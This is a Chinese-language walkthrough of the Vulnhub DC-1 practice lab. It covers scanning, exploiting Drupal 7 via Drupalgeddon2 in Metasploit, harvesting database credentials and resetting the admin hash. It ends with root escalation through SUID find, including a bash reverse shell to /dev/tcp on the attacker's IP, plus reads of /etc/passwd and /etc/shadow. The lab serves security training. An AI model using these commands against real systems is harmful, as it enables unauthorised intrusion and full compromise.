Vulnhub-DC-1实战靶场

目录

前言

一. 环境搭建

1.准备工具

2.靶场准备

二. 渗透过程

1. 信息收集

探测目标IP地址

探测目标IP开放端口

网页信息收集

2. 漏洞查找与利用

2.1弱口令

2.2Drupalgeddon2

3. Getshell

3.1交互式shell

3.2flag1

3.3Linux信息收集

4. 数据库渗透

4.1flag2,数据库用户密码

4.2数据库信息收集

5. 用户密码爆破

5.1hash解密(失败)

5.2修改密码(成功),flag3

6. Linux提权

6.1find 指令提权

6.2find命令nc监听反弹shell


前言

一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。

本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。

一. 环境搭建

1.准备工具

虚拟机Kali:IP-192.168.111.129

DC-1靶场机:

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2.靶场准备

更改网络适配器为NAT模式:

Vulnhub-DC-1实战靶场_第1张图片

二. 渗透过程

1. 信息收集

探测目标IP地址

nmap探测nat网段存活主机:已知kali的IP为192.168.111.129,则得到靶机IP为192.168.111.136。

nmap -sP 192.168.111.0/24

Vulnhub-DC-1实战靶场_第2张图片

探测目标IP开放端口

使用nmap探测靶机开放端口:可以看到开放22、80、111端口,确定有http服务。

nmap -sS 192.168.111.136

Vulnhub-DC-1实战靶场_第3张图片

网页信息收集

在kali上访问一下靶机,发现CMS是Drupal版本7.

Vulnhub-DC-1实战靶场_第4张图片

2. 漏洞查找与利用

2.1弱口令

通过burp测试一下弱口令,爆不出来,而且需要认证,感觉好麻烦,试试cms相关漏洞。

2.2Drupalgeddon2

Searchsploit查一下Drupal7相关漏洞:

(官方指南:Exploit Database SearchSploit Manual)

Vulnhub-DC-1实战靶场_第5张图片

开启msf查找一下可以利用的漏洞:先选择Rank‘excellent’、Check‘Yes’和日期最新的利用,与searchsploit结果对比一下,发现可以选择no.1。

Vulnhub-DC-1实战靶场_第6张图片

选择drupalgeddon2,设置好session,run执行:成功上线

Vulnhub-DC-1实战靶场_第7张图片

3. Getshell

3.1交互式shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

Vulnhub-DC-1实战靶场_第8张图片

3.2flag1

Shell后先ls一下看看,发现一个flag1.txt:

Vulnhub-DC-1实战靶场_第9张图片

cat查看一下,大概意思是提示所有cms需要配置文件,所以让我们去找drupal的配置文件。

3.3Linux信息收集

先不急着找配置文件,既然已经进来了就收集一波信息。

1>DNS客户机配置文件(虽然对于这次靶场没啥用)

cat /etc/resolv.conf

Vulnhub-DC-1实战靶场_第10张图片

2>系统用户配置文件

cat /etc/passwd

Vulnhub-DC-1实战靶场_第11张图片

哦吼,发现了一个flag4,路径是/home/flag4,那就提前看一下flag4的内容好了:

Vulnhub-DC-1实战靶场_第12张图片

翻译一下大概是说“用同样的方法找到存在root里的flag”,不明所以,不过应该要求我们提权(一会再搞)。

3>查存储的用户密码信息:没有权限

cat /etc/shadow

4>我是谁:

Whoami/who -a

Vulnhub-DC-1实战靶场_第13张图片

5>查看进程信息:

发现了mysql进程,一会试试爆库。

ps aux

Vulnhub-DC-1实战靶场_第14张图片

6>简单看一下刚进来时各个文件夹内都有什么文件:

Vulnhub-DC-1实战靶场_第15张图片

Vulnhub-DC-1实战靶场_第16张图片

Vulnhub-DC-1实战靶场_第17张图片

4. 数据库渗透

4.1flag2,数据库用户密码

简单过一遍linux信息后,回来根据提示去找drupal配置文件。

根据相关链接:

Step 3: Create settings.php and the files directory | Installing Drupal 7 | Drupal Wiki guide on Drupal.org

[译] Docker Workflow(二):存储问题 - 开发者头条

我们可以知道Drupal会在sites/default/files目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以现在应该去找到这个文件。

首先进入sites/default/files,逛了一圈没有东西:

Vulnhub-DC-1实战靶场_第18张图片

返回上级目录,发现了settings.php:

查看settings.php文件内容:嘿嘿,找到了flag2,同时还发现了数据库用户及密码。

Vulnhub-DC-1实战靶场_第19张图片

4.2数据库信息收集

使用刚刚得到的用户密码登录数据库:

Vulnhub-DC-1实战靶场_第20张图片

查看表信息:发现一个users表

Vulnhub-DC-1实战靶场_第21张图片

Vulnhub-DC-1实战靶场_第22张图片

查看users表信息,发现用户密码:

(加密的密码试试破解)

Vulnhub-DC-1实战靶场_第23张图片

5. 用户密码爆破

5.1hash解密(失败)

先用kali自带的hash工具过一下密码(加盐了没用)

Vulnhub-DC-1实战靶场_第24张图片

加了盐没办法,不过根据打过的红日3靶场可以试试其他方法,即新建新的用户密码或修改已有的密码。

5.2修改密码(成功),flag3

网上搜一搜drupal修改密码,发现Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。

巧了,之前搜集信息时恰好在scripts目录下发现了该脚本。

当然也可以使用find找一下:

find / -name ‘hash

Vulnhub-DC-1实战靶场_第25张图片

通过该脚本新设置一个密码‘123456’:

scripts/password-hash.sh ‘123456’> test.txt

Vulnhub-DC-1实战靶场_第26张图片

再次进入数据库更新一下admin的密码:

update users set pass=’you-password’ where uid=1;

Vulnhub-DC-1实战靶场_第27张图片

使用admin 123456,登录Drupal:

Vulnhub-DC-1实战靶场_第28张图片

Home里搜索一下,发现flag3:

Vulnhub-DC-1实战靶场_第29张图片

6. Linux提权

6.1find 指令提权

首先找一下find路径:

which find

再检查一下find是否有suid权限:

ls -l /usr/bin/find

最后使用find命令执行一下‘whoami’发现是root权限:

touch getroot

find / -type f -name getroot -exec “whoami” \;

Vulnhub-DC-1实战靶场_第30张图片

6.2find命令nc监听反弹shell

先在kali上开启nc监听:

nc -lvvnp 6666

Vulnhub-DC-1实战靶场_第31张图片

Msf中执行构建好的find命令:

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.111.129/6666 0>&1 \;

成功shell上线:(root权限)

Vulnhub-DC-1实战靶场_第32张图片

在/root中找到最终的flag:

Vulnhub-DC-1实战靶场_第33张图片

 

你可能感兴趣的:(教程,靶场实战,linux,数据库,web安全,网络安全,学习)